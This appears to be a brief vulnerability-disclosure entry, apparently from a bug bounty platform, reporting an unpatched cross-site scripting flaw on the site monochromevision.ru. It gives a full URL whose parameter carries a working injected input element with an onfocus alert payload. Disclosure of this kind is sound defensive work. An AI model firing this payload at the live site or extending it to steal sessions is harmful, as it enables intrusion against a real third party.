monochromevision.ru XSS vulnerability

Vulnerable URL: http://www.monochromevision.ru/catalog/catalog.php?brpages=20%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=alert'OPENBUGBOUNTY'%20//%3E%3CSvg%3E=====Misanthropic%20Agenda====name=ascending== Details: Description| Value ---|--- Patched:| No Latest check...